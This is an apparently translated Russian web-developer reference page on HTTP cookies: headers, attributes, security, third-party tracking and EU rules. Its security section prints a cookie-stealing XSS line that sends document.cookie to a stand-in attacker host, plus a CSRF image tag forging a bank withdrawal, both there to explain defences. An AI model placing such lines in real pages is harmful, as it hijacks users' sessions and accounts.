{{HTTPSidebar}}
HTTP cookie (web cookie, cookie браузера) - это небольшой фрагмент данных, отправляемый сервером на браузер пользователя, который тот может сохранить и отсылать обратно с новым запросом к данному серверу. Это, в частности, позволяет узнать, с одного ли браузера пришли оба запроса (например, для аутентификации пользователя). Они запоминают информацию о состоянии для протокола HTTP, который сам по себе этого делать не умеет.
Cookie используются, главным образом, для:
⦁ Управления сеансом (логины, корзины для виртуальных покупок)
⦁ Персонализации (пользовательские предпочтения)
⦁ Мониторинга (отслеживания поведения пользователя)
До недавнего времени cookie принято было использовать в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API (программные интерфейсы приложения) для хранения данных, это уже не так. Из-за того, что cookie пересылаются с каждым запросом, они могут слишком сильно снижать производительность (особенно в мобильных устройствах). В качестве хранилищ данных на стороне пользователя вместо них можно использовать Web storage API (localStorage and sessionStorage) и IndexedDB.
Чтобы посмотреть сохраненные cookies (и какие еще способы хранения данных использует веб-страница), можно использовать Storage Inspector (Инспектор хранилища) из раздела Developer Tools (Веб-разработка).
Получив HTTP-запрос, вместе с откликом сервер может отправить заголовок {{HTTPHeader("Set-Cookie")}} с ответом. Cookie обычно запоминаются браузером и посылаются в значении заголовка HTTP {{HTTPHeader("Cookie")}} с каждым новым запросом к одному и тому же серверу. Можно задать срок действия cookie, а также срок его жизни, после которого cookie не будет отправляться. Также можно указать ограничения на путь и домен, то есть указать, в течении какого времени и к какому сайту оно отсылается.
Set-Cookie и CookieЗаголовок {{HTTPHeader("Set-Cookie")}} HTTP-отклика используется для отправки cookie с сервера на клиентское приложение (браузер). Простой cookie может задаваться так:
Set-Cookie: <имя-cookie>=<заголовок-cookie>
Этот заголовок с сервера дает клиенту указание сохранить cookie (это делают, например, PHP, Node.js, Python и Ruby on Rails). Отклик, отправляемый браузеру, содержит заголовок Set-Cookie, и cookie запоминается браузером.
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]
Теперь, с каждым новым запросом к серверу, при помощи заголовка {{HTTPHeader("Cookie")}} браузер будет возвращать серверу все сохраненные ранее cookies.
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
Простой cookie, пример которого приведен выше, представляет собой сессионный cookie (session cookie) - такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты Expires или Max-Age для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.
Постоянные cookie ( permanent cookies) удаляются не с закрытием клиента, а при наступлении определенной даты (атрибут Expires) или после определенного интервала времени (атрибут Max-Age).
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
("безопасные") и HttpOnly cookies"Безопасные" (secure) cookie отсылаются на сервер только если запрос выполняется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в cookies, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг secure никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищенные сайты (http:) не могут создавать куки с флагом secure.
Куки HTTPonly не доступны из JavaScript через свойства {{domxref("Document.cookie")}} API, что помогает избежать межсайтового скриптинга ({{Glossary("XSS")}}). Устанавливайте этот флаг для тех cookie, к которым не требуется обращаться через JavaScript. В частности, если куки используются только для поддержки сеанса, то в JavaScript они не нужны, так что в этом случае следует устанавливать флаг HttpOnly.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Директивы Domain и Path определяют область видимости куки, то есть те URL'ы, к которым куки могут отсылаться.
Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берется доменная часть адреса документа (но без поддоменов). Если домен указан явно, то поддомены всегда включены.
Например, если задано Domain=mozilla.org, то куки включены и в поддоменах, например, в developer.mozilla.org.
Атрибут Path указывает URL, который должен быть в запрашиваемом ресурсе на момент отправки заголовка Cookie. Символ %x2F ("/") интерпретируется как разделитель разделов, подразделы также включаются.
Если задано Path=/docs, то подходят и такие пути, как:
SameSite {{experimental_inline}}Куки SameSite позволяют серверам декларировать, что куки не должны отсылаться с межсайтовыми запросами, что в некотором роде обеспечивает защиту от межсайтовых подделок запроса ({{Glossary("CSRF")}}). Куки SameSite находятся пока в стадии эксперимента и поддерживаются не всеми браузерами.
Document.cookieКуки можно создавать через JavaScript при помощи свойства {{domxref("Document.cookie")}}. Если флаг HttpOnly не установлен, то и доступ к существующим cookies можно получить через JavaScript.
document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry"
Учитывайте, пожалуйста, вытекающие из этого проблемы в отношении безопасности, подчеркнутые ниже (раздел Security). Куки, доступные для JavaScript, могут быть похищены посредством XSS.
Важная информация никогда не должна храниться или передаваться в куках HTTP, поскольку этот механизм сам по себе небезопасен.
Куки часто используются в веб-приложениях для идентификации пользователя и сеанса работы, в котором он прошел процедуру аутентификации. Соответственно, похищение куков из приложения может привести к захвату авторизованного сеанса пользователя. Кража куков часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости приложения для {{Glossary("XSS")}}.
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
Атрибут HttpOnly помогает понизить эту угрозу, перекрывая доступ к кукам из JavaScript..
В Wikipedia приведен хороший пример {{Glossary("CSRF")}}. В сообщение (например, в чате или на форуме) включают (якобы) изображение, которое, на самом деле, представляет собой запрос к банковскому серверу на снятие денег:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
Теперь, если вы зашли в свой банковский аккаунт, а куки по-прежнему действительны (и никакой дополнительной проверки не требуется), то при загрузке HTML-документа с этим изображением деньги будут переведены с вашего счета. Для защиты от этого изпользуется ряд методов:
Куки связаны с определенным доменом. Если он совпадает с доменом страницы, на которой вы находитесь, то их называют "куками первого лица" (first-party cookies). Если это другой домен, их называют "сторонними куками" (third-party cookies). Куки первого лица отсылаются только на тот сервер, который их создал. Однако, страница может содержать изображения или другие компоненты (например, рекламные баннеры), хранящиеся на других серверах. Куки, посылаемые через такие компоненты, используются, главным образом, в рекламных целях или для отслеживания информации в сети. В качестве примера можно рассмотреть типы файлов cookie, используемые Google. Большинство браузеров по умолчанию разрешают использование сторонних куков, но есть расширения, позволяющие их блокировать (например, Privacy Badger от EFF).
Если вы не сообщите об использовании сторонних куков, а пользователь обнаружит их самостоятельно, то доверие к вам может пошатнуться. Чтобы избежать этого, лучше предоставлять соответствующую информацию. В некоторых странах использование куков регламентируется законодательством. Прочитать об этом можно, например, в Википедии в разделе cookie statement (создание куков).
Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок {{HTTPHeader("DNT")}}, хотя технических или законодательных требований на этот счет нет. Подробнее об этом рассказывается в разделе заголовок {{HTTPHeader("DNT")}}.
Правила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (Directive 2009/136/EC), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счет могут быть свои законы.
Согласно этой директиве для хранения или извлечения информации с компьютера пользователя требуется проинформировать его и получить соответствующее разрешение. С момента её появления многие сайты добавили баннеры, информирующие пользователя об использовании куков.
Подробнее об этом можно прочитать в соответствующем разделе Википедии (Wikipedia). За наиболее полной и точной информацией обращайтесь к законодательствам конкретных стран.
Более радикальный подход к кукам представляют собой куки-зомби, или "вечные" куки, которые восстанавливаются после удаления, и полное удаление которых умышленно затруднено. Они используют прикладные интерфейсы веб-хранилищ (Web storage API), Flash Local Shared Objects и другие методы собственного воссоздания в случае, если обнаружено их отсутствие.